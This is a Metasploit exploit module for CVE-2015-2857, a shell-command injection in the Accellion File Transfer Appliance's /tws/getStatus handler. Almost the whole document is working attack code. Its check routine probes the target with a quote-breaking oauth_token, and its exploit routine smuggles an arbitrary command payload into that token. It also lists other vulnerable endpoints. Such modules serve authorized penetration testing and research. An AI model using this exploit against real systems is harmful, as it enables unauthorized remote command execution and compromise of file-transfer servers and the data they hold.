Accellion FTA getStatus verify_oauth_token Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Accellion FTA getStatus verify_oauth_token Command Execution',  
'Description' => %q{  
This module exploits a metacharacter shell injection vulnerability in the Accellion  
File Transfer appliance. This vulnerability is triggered when a user-provided  
'oauth_token' is passed into a system() call within a mod_perl handler. This  
module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include  
'/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on  
version FTA_9_11_200, but may apply to previous versions as well. This issue was  
fixed in software update FTA_9_11_210.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://r-7.co/R7-2015-08'],  
['CVE', '2015-2857']  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl bash telnet',  
}  
},  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 10 2015'  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true])  
], self.class)  
end  
  
def check  
uri = '/tws/getStatus'  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'transaction_id' => rand(0x100000000),  
'oauth_token' => 'invalid'  
}})  
  
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/  
return Exploit::CheckCode::Safe  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'transaction_id' => rand(0x100000000),  
'oauth_token' => "';echo '"  
}})  
  
unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/  
return Exploit::CheckCode::Safe  
end  
  
Msf::Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
  
# The token is embedded into a command line the following:  
# `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;  
token = "';#{payload.encoded};echo '"  
  
uri = '/tws/getStatus'  
  
# Other exploitable URLs:  
# * /seos/find.api (works with no other changes to this module)  
# * /seos/put.api (requires some hoop jumping, upload)  
# * /seos/mput.api (requires some hoop jumping, token && upload)  
  
print_status("Sending request for #{uri}...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'transaction_id' => rand(0x100000000),  
'oauth_token' => token  
}})  
  
if res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/  
print_status("Valid response received...")  
else  
if res  
print_error("Unexpected reply from the target: #{res.code} #{res.message} #{res.body}")  
else  
print_error("No reply received from the target")  
end  
end  
  
handler  
end  
  
end  
`